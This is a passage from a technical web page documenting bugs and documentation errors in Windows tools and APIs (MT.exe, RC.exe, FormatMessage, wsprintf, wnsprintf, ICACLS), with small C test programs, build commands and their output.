step 4. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
Resource Directory: Characteristics = 0x00000000 Time/Date Stamp = 0x00000000 Version = 4.0 Named Entries = 0 Unnamed Entries = 1 Entries: Type = 24 (MANIFEST) Offset = 0x80000018 Id = 1 Offset = 0x80000030 Language = 1033 Offset = 0x00000048 Address = 0x00003058 Size = 84 Code Page = 1252 Reserved = 0x00000000 0OUCH¹: although application manifests must be encoded in UTF-8, the Manifest Tool
MT.exe
emits
code page identifier
1252 alias Windows-1252instead of 65001 alias
CP_UTF8
in the MANIFEST
resource metadata!
OUCH²: additionally it emits language
identifier 1033 alias
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH)
instead of the proper language identifier 0 alias
MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
and the time stamp 0x0 instead of the current date and time in the
resource directory metadata!
Note: contrary to other resource types, especially
dialogues,
menues,
messages
and
strings,
which are selected at runtime to match the users’ preferred
language, Windows’ module loader always uses the
first MANIFEST
resource present in the
.rsrc
section!
Link the console application blunder.exe
a second time,
now with the resource file blunder.res
created in
Blunder № 76:
LINK.EXE /LINK blunder.obj blunder.res kernel32.lib user32.lib
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
Execute the console application blunder.exe
built in
step 6. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
Resource Directory: Characteristics = 0x00000000 Time/Date Stamp = 0x00000000 Version = 4.0 Named Entries = 0 Unnamed Entries = 1 Entries: Type = 6 (STRINGTABLE) Offset = 0x80000018 Id = 1 Offset = 0x80000038 Language = 1033 Offset = 0x00000068 Address = 0x00003090 Size = 520 Code Page = 0 Reserved = 0x00000000 Id = 2 Offset = 0x80000050 Language = 1033 Offset = 0x00000078 Address = 0x00003298 Size = 492 Code Page = 0 Reserved = 0x00000000 0OUCH³: the Resource Compiler
RC.exe
also fails to set the
proper code page identifier 1200 alias
UTF-16LE
as well as the time stamp and sets the language identifier 1033
alias
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH)
!
Messages are defined in a message text file. The message compiler assigns numbers to each message, and generates a C/C++ include file which the application can use to access a message using a symbolic constant.The documentation for the Win32 function[…]
You can specify the following escape sequences for formatting message text for use by the event viewer or your application. The percent sign character (%) begins all escape sequences. Any other character following a percent sign is displayed without the percent sign.
%n[!format_specifier!]
Describes an insert. Each insert is an entry in the Arguments array in the FormatMessage function. The value of n can be a number between 1 and 99. The format specifier is optional. If no value is specified, the default is !s!. For information about the format specifier, see wsprintf.
The format specifier can use * for either the precision or the width. When specified, they consume inserts numbered n+1 and n+2.
%0
Terminates a message text line without a trailing newline character. This can be used to build a long line or terminate a prompt message without a trailing newline character.
%.
Generates a single period. This can be used to display a period at the beginning of a line, which would otherwise terminate the message text.
%!
Generates a single exclamation point. This can be used to specify an exclamation point immediately after an insert.
%%
Generates a single percent sign.
%n
Generates a hard line break when it occurs at the end of a line. This can be used with FormatMessage to ensure that the message fits a certain width.
%b
Generates a space character. This can be used to ensure an appropriate number of trailing spaces on a line.
%r
Generates a hard carriage return without a trailing newline character.
FormatMessage()
specifies likewise in its Remarkssection:
Formats a message string. The function requires a message definition as input. The message definition can come from a buffer passed into the function. It can come from a message table resource in an already-loaded module. Or the caller can ask the function to search the system's message table resource(s) for the message definition. The function finds the message definition in a message table resource based on a message identifier and a language identifier. The function copies the formatted message text to an output buffer, processing any embedded insert sequences if requested.The MSDN article System Error Codes (500-999) documents but message texts with[…]
Escape sequence Meaning %0 Terminates a message text line without a trailing new line character. This escape sequence can be used to build up long lines or to terminate the message itself without a trailing new line character. It is useful for prompt messages. %n!format string! Identifies an insert. The value of n can be in the range from 1 through 99. The format string (which must be surrounded by exclamation marks) is optional and defaults to !s! if not specified. […]
%0
escape sequences:
ERROR_UNHANDLED_EXCEPTIONWin32 Error Codes574 (0x23E)
{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx.
[…]
ERROR_SYSTEM_PROCESS_TERMINATED
591 (0x24F)
{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down.
The MSDN article NTSTATUS Values documents such malformed message texts too:
Return value/code Description … … 0xC0000005
STATUS_ACCESS_VIOLATIONThe instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. 0xC0000006
STATUS_IN_PAGE_ERRORThe instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx. … … 0xC0000144
STATUS_UNHANDLED_EXCEPTION{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx. … … 0xC000021A
STATUS_SYSTEM_PROCESS_TERMINATED{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down. … … 0xC000070A
STATUS_THREADPOOL_HANDLE_EXCEPTIONStatus 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p. 0xC000070B
STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x. 0xC000070C
STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x. 0xC000070D
STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x. 0xC000070E
STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x.
Start the Command Processor
Cmd.exe
, then execute
the following four command lines to show the blunder:
NET.EXE HELPMSG 574 CERTUTIL.EXE /ERROR 574 NET.EXE HELPMSG 591 CERTUTIL.EXE /ERROR 591Note: the command lines can be copied and pasted as block into a Command Processor window.
{Application Error} The exception s (0x 0x23e (WIN32: 574 ERROR_UNHANDLED_EXCEPTION) -- 574 (574) Error message text: {Application Error} The exception %s (0x CertUtil: -error command completed successfully. {Fatal System Error} The hs system process terminated unexpectedly with a status of 0x 0x24f (WIN32: 591 ERROR_SYSTEM_PROCESS_TERMINATED) -- 591 (591) Error message text: {Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x CertUtil: -error command completed successfully.OUCH¹: message texts defined with a stray
%0
, for example in 0x%08lX
, are truncated
when retrieved with the
FormatMessage()
function!
Execute the following two command lines to show proper behaviour:
CERTUTIL.EXE /ERROR 0xC0000144 CERTUTIL.EXE /ERROR 0xC000021A
0xc0000144 (NT: 0xc0000144 STATUS_UNHANDLED_EXCEPTION) -- 3221225796 (-1073741500) Error message text: {Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx. CertUtil: -error command completed successfully. 0xc000021a (NT: 0xc000021a STATUS_SYSTEM_PROCESS_TERMINATED) -- 3221226010 (-1073741286) Error message text: {Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down. CertUtil: -error command completed successfully.Note: most obviously
CertUtil.exe
doesn’t use the
FormatMessage()
function for
NTSTATUS
values – the message texts for the
0xC0000144
alias STATUS_UNHANDLED_EXCEPTION
and
0xC000021A
alias STATUS_SYSTEM_PROCESS_TERMINATED
, from which both
Win32 error codes were derived and their message texts
copied, display properly.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_UNHANDLED_EXCEPTION 0xC0000144L
#define STATUS_SYSTEM_PROCESS_TERMINATED 0xC000021AL
const DWORD dwArray[] = {ERROR_SYSTEM_PROCESS_TERMINATED, ERROR_UNHANDLED_EXCEPTION,
STATUS_SYSTEM_PROCESS_TERMINATED, STATUS_UNHANDLED_EXCEPTION};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[1234];
DWORD dwBlunder;
DWORD dwIndex = 0UL;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
HMODULE hModule = GetModuleHandle(L"NTDLL");
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
do
{
dwBlunder = FormatMessage(FORMAT_MESSAGE_FROM_HMODULE | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
hModule,
dwArray[dwIndex],
MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder),
(va_list *) NULL);
if (dwBlunder == 0UL)
dwError = GetLastError();
else
{
szBlunder[dwBlunder++] = L'\n';
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
}
}
while (++dwIndex < sizeof(dwArray) / sizeof(*dwArray));
ExitProcess(dwError);
}
94999
113996
196069
259693
Compile and link the source file blunder.c
created in
step 3.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
{Fatal System Error} The hs system process terminated unexpectedly with a status of 0x {Application Error} The exception s (0x {Fatal System Error} The hs system process terminated unexpectedly with a status of 0x {Application Error} The exception s (0x 0OUCH: �
wsprintf()
specifies in its Remarkssection:
A format specification has the following form:OUCH⁰: the preprocessor macro is%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … - Pad the output with blanks or zeros to the right to fill the field width, justifying output to the left. If this field is omitted, the output is padded to the left, justifying it to the right. # Prefix hexadecimal values with 0x (lowercase) or 0X (uppercase). 0 Pad the output value with zeros to fill the field width. If this field is omitted, the output value is padded with blank spaces. width Copy the specified minimum number of characters to the output buffer. The width field is a nonnegative integer. The width specification never causes a value to be truncated; if the number of characters in the output value is greater than the specified width, or if the width field is not present, all characters of the value are printed, subject to the precision specification. .precision For numbers, copy the specified minimum number of digits to the output buffer. If the number of digits in the argument is less than the specified precision, the output value is padded on the left with zeros. The value is not truncated when the number of digits exceeds the specified precision. If the specified precision is 0 or omitted entirely, or if the period (.) appears without a number following it, the precision is set to 1. For strings, copy the specified maximum number of characters to the output buffer.
type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values. […]
c
- Single character. This value is interpreted as type CHAR by wsprintfA and type WCHAR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
C
- Single character. This value is interpreted as type WCHAR by wsprintfA and type CHAR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
d
- Signed decimal integer. This value is equivalent to
i
.hc
,hC
- Single character. If the character has a numeric value of zero it is ignored. This value is always interpreted as type CHAR, even when the calling application defines Unicode.
hd
- Signed short integer argument.
hs
,hS
- String. This value is always interpreted as type LPSTR, even when the calling application defines Unicode.
hu
- Unsigned short integer.
i
- Signed decimal integer. This value is equivalent to
d
.Ix
,IX
- 64-bit unsigned hexadecimal integer in lowercase or uppercase on 64-bit platforms, 32-bit unsigned hexadecimal integer in lowercase or uppercase on 32-bit platforms.
lc
,lC
- Single character. If the character has a numeric value of zero it is ignored. This value is always interpreted as type WCHAR, even when the calling application defines Unicode.
ld
- Long signed integer. This value is equivalent to
li
.li
- Long signed integer. This value is equivalent to
ld
.ls
,lS
- String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to
ws
.lu
- Long unsigned integer.
lx
,lX
- Long unsigned hexadecimal integer in lowercase or uppercase.
p
- Pointer. The address is printed using hexadecimal.
s
- String. This value is interpreted as type LPSTR by wsprintfA and type LPWSTR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
S
- String. This value is interpreted as type LPWSTR by wsprintfA and type LPSTR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
u
- Unsigned integer argument.
x
,X
- Unsigned hexadecimal integer in lowercase or uppercase.
[…]
Note
The winuser.h header defines wsprintf as an alias that automatically selects the ANSI or Unicode version of this function based on the definition of the UNICODE preprocessor constant. Mixing usage of the encoding-neutral alias with code that is not encoding-neutral can lead to mismatches that result in compilation or runtime errors. For more information, see Conventions for Function Prototypes.
UNICODE
, not Unicode
!
OUCH¹: the specification of the type
field but misses Ip
alias hp
alias
lp
alias tp
alias wp
as
equivalent to p
for pointer arguments!
OUCH²: it also misses wd
as
equivalent to ld
and d
, wi
as
equivalent to li
and i
, wu
as
equivalent to lu
and u
, wx
as
equivalent to lx
and x
plus
wX
as equivalent to lX
and X
for 32-bit integer arguments!
OUCH³: it misses wc
as equivalent
to lc
, wC
as equivalent to lC
and wS
as equivalent to lS
for
Unicode
character and string arguments!
OUCH⁴: it misses Id
alias
Ii
alias td
alias ti
plus
Iu
alias tu
for 32-bit integer arguments
on 32-bit platforms respectively 64-bit integer arguments on 64-bit
platforms!
OUCH⁵: last it misses I32d
alias
I32i
, I32u
, I32x
and
I32X
for 32-bit integer arguments plus
I64d
alias I64i
, I64u
,
I64x
and I64X
for 64-bit integer
arguments!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[1024];
DWORD dwBlunder;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBlunder = wsprintf(szBlunder,
L"%%I…\t%Id\n\t%Ii\n\t%Iu\n",
#ifndef _WIN64
~0x01234567, 0x01234567, ~0x01234567);
#else
~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
#endif
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
dwBlunder = wsprintf(szBlunder,
L"%%I32…\t%I32d\n\t%I32i\n\t%I32u\n\t%#I32x\n\t%#I32X\n",
~0x01234567, 0x01234567, ~0x01234567, 0x01234567, ~0x01234567);
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
dwBlunder = wsprintf(szBlunder,
L"%%I64…\t%I64d\n\t%I64i\n\t%I64u\n\t%#I64x\n\t%#I64X\n",
~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
dwBlunder = wsprintf(szBlunder,
L"%%w…\t%wc\n\t%ws\n\t%wC\n\t%wS\n",
L'€', L"€ sign", L'€', L"€ sign");
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
dwBlunder = wsprintf(szBlunder,
L"%%Ip\t%Ip\n%%hp\t%hp\n%%lp\t%lp\n%%tp\t%tp\n%%wp\t%wp\n",
wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup);
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. for the 32-bit execution environment:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code
.\blunder.exe ECHO %ERRORLEVEL%
%I… -19088744 19088743 4275878552 %I32… -19088744 19088743 4275878552 0x1234567 0XFEDCBA98 %I64… -81985529216486896 81985529216486895 18364758544493064720 0x123456789abcdef 0XFEDCBA9876543210 %w… € € sign € € sign %Ip 00321000 %hp 00321000 %lp 00321000 %tp 00321000 %wp 00321000 0
Compile and link the source file blunder.c
created in
step 1. for the 64-bit execution environment:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code
.\blunder.exe ECHO %ERRORLEVEL%
%I… -81985529216486896 81985529216486895 18364758544493064720 %I32… -19088744 19088743 4275878552 0x1234567 0XFEDCBA98 %I64… -81985529216486896 81985529216486895 18364758544493064720 0x123456789abcdef 0XFEDCBA9876543210 %w… € € sign € € sign %Ip 0000007654321000 %hp 0000007654321000 %lp 0000007654321000 %tp 0000007654321000 %wp 0000007654321000 0
wnsprintf()
states:
Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.OUCH: there is no[…]
[…]int wnsprintf( [out] LPTSTR pszDest, [in] int cchDest, [in] LPCTSTR pszFmt, ... );
Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
[…]
This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.
NULL character–
NULL
is a preprocessor macro defined as ((void *) 0)
!
The documentation for the Win32 function
wnsprintf()
specifies:
Takes a list of arguments and returns the values of the arguments as a printf-style formatted string.Flag Directives printf Width Specification Precision Specification Size Specification printf Type Field Characters[…]
int wvnsprintf( [out] LPTSTR pszDest, [in] int cchDest, [in] LPCTSTR pszFmt, [in] va_list arglist );
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shlwapi.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ~0UL;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
WCHAR szBlunder[57];
INT niBlunder = wnsprintf(szBlunder, sizeof(szBlunder),
L"%+09d|% i|%#p|%+*.*ws|%#x",
42, 0x815, wmainCRTStartup, 7, 5, L"Blunder", 0xDEADBEEF);
if (niBlunder > 0)
if (!WriteConsole(hError, szBlunder, niBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= niBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib shlwapi.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shlwapi.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
+00000042| 2069|0X00321000| Blund|0xdeadbeef 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to the highlighted statement of its documentation cited above, the Win32 function
wnsprintf()
supports the right alignment flag and pointer types!
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.The MSDN article Requesting Access Rights to an Object states:
Contrary to the highlighted statements cited above, the documentation as well as the synopsis of Windows’ console applicationNote
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
ICACLs.exe
but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.OUCH⁰: this documentation but fails to enumerate the simple right[…]
[…]icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
N (no access)
[…]
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
[…]
D
alias (DE,S)
,
the specific right DE
and the parameter
/INHERITANCE:{E|D|R}
!
Command-Line Reference
Start the Command Processor
Cmd.exe
in an arbitrary,
preferable empty directory, then display the help text of the
ICACLs.exe
console application:
ICACLs.exe /?
[…] /inheritance:e|d|r e - enables inheritance d - disables inheritance and copy the ACEs r - remove all inherited ACEs […] perm is a permission mask and can be specified in one of two forms: a sequence of simple rights: N - no access […] D - delete access a comma-separated list in parentheses of specific rights: DE - delete […]
ICACLS name /save aclfile [/T] [/C] [/L] [/Q] stores the DACLs for the files and folders that match the name into aclfile for later use with /restore. Note that SACLs, owner, or integrity labels are not saved. ICACLS directory [/substitute SidOld SidNew [...]] /restore aclfile [/C] [/L] [/Q] applies the stored DACLs to files in directory. ICACLS name /setowner user [/T] [/C] [/L] [/Q] changes the owner of all matching names. This option does not force a change of ownership; use the takeown.exe utility for that purpose. ICACLS name /findsid Sid [/T] [/C] [/L] [/Q] finds all matching names that contain an ACL explicitly mentioning Sid. ICACLS name /verify [/T] [/C] [/L] [/Q] finds all files whose ACL is not in canonical form or whose lengths are inconsistent with ACE counts. ICACLS name /reset [/T] [/C] [/L] [/Q] replaces ACLs with default inherited ACLs for all matching files. ICACLS name [/grant[:r] Sid:perm[...]] [/deny Sid:perm [...]] [/remove[:g|:d]] Sid[...]] [/T] [/C] [/L] [/Q] [/setintegritylevel Level:policy[...]] /grant[:r] Sid:perm grants the specified user access rights. With :r, the permissions replace any previously granted explicit permissions. Without :r, the permissions are added to any previously granted explicit permissions. /deny Sid:perm explicitly denies the specified user access rights. An explicit deny ACE is added for the stated permissions and the same permissions in any explicit grant are removed. /remove[:[g|d]] Sid removes all occurrences of Sid in the ACL. With :g, it removes all occurrences of granted rights to that Sid. With :d, it removes all occurrences of denied rights to that Sid. /setintegritylevel [(CI)(OI)]Level explicitly adds an integrity ACE to all matching files. The level is to be specified as one of: L[ow] M[edium] H[igh] Inheritance options for the integrity ACE may precede the level and are applied only to directories. /inheritance:e|d|r e - enables inheritance d - disables inheritance and copy the ACEs r - remove all inherited ACEs Note: Sids may be in either numerical or friendly name form. If a numerical form is given, affix a * to the start of the SID. /T indicates that this operation is performed on all matching files/directories below the directories specified in the name. /C indicates that this operation will continue on all file errors. Error messages will still be displayed. /L indicates that this operation is performed on a symbolic link itself versus its target. /Q indicates that icacls should suppress success messages. ICACLS preserves the canonical ordering of ACE entries: Explicit denials Explicit grants Inherited denials Inherited grants perm is a permission mask and can be specified in one of two forms: a sequence of simple rights: N - no access F - full access M - modify access RX - read and execute access R - read-only access W - write-only access D - delete access a comma-separated list in parentheses of specific rights: DE - delete RC - read control WDAC - write DAC WO - write owner S - synchronize AS - access system security MA - maximum allowed GR - generic read GW - generic write GE - generic execute GA - generic all RD - read data/list directory WD - write data/add file AD - append data/add subdirectory REA - read extended attributes WEA - write extended attributes X - execute/traverse DC - delete child RA - read attributes WA - write attributes inheritance rights may precede either form and are applied only to directories: (OI) - object inherit (CI) - container inherit (IO) - inherit only (NP) - don't propagate inherit (I) - permission inherited from parent container Examples: icacls c:\windows\* /save AclFile /T - Will save the ACLs for all files under c:\windows and its subdirectories to AclFile. icacls c:\windows\ /restore AclFile - Will restore the Acls for every file within AclFile that exists in c:\windows and its subdirectories. icacls file /grant Administrator:(D,WDAC) - Will grant the user Administrator Delete and Write DAC permissions to file. icacls file /grant *S-1-1-0:(D,WDAC) - Will grant the user defined by sid S-1-1-0 Delete and Write DAC permissions to file.
Create an (empty) file blunder.tmp
in the current
directory, remove all (inherited) access permissions from it, add
explicit access permissions except (DE)
alias
DELETE
for the well-known universal
SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
plus
S-1-3-3
alias
CREATOR GROUP SERVER
to it, display the
resulting
DACL
and delete the file:
COPY NUL: blunder.tmp ICACLS.EXE blunder.tmp /DENY *S-1-1-0:D /GRANT *S-1-3-3:(AS) *S-1-3-2:(DE) *S-1-3-1:(MA) *S-1-3-0:(S) /INHERITANCE:R /Q CACLS.EXE blunder.tmp /S ICACLS.EXE blunder.tmp /Q ERASE blunder.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\blunder.tmp "D:PAI(D;;0x110000;;;WD)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;SD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)" blunder.tmp Everyone:(DENY)(D) AMNESIAC\Stefan:(S) AMNESIAC\None: AMNESIAC\Stefan:(DE) AMNESIAC\None:OUCH¹:
ICACLs.exe
maps
its simple right D
to the specific rights list
(DE,S)
alias DELETE
plus SYNCHRONIZE
!
OUCH²: ICACLs.exe
maps
its specific rights (AS)
alias
ACCESS_SYSTEM_SECURITY
and
(MA)
alias
MAXIMUM_ALLOWED
to the simple right
N
alias NO_ACCESS
!
Note: ICACLs.exe
converts the
well-known universal
SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
and
S-1-3-3
alias
CREATOR GROUP SERVER
to the effective
user respectively (primary) group
SID
AMNESIAC\Stefan
and
AMNESIAC\None
of the file system object creator.
Create the subdirectory Blunder
in the current
directory, remove all (inherited) access permissions from it, add
inheritable access permissions except (DE)
alias
DELETE
for the well-known universal
SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
and
S-1-3-3
alias
CREATOR GROUP SERVER
to it, display the
resulting
DACL
and remove the subdirectory:
MKDIR Blunder ICACLS.EXE Blunder /DENY *S-1-3-0:(CI)(AS) /GRANT *S-1-3-1:(OI)(MA) *S-1-3-2:(CI)(S) *S-1-3-3:(OI)(X) /INHERITANCE:R /Q CACLS.EXE Blunder /S ICACLS.EXE Blunder /Q RMDIR Blunder
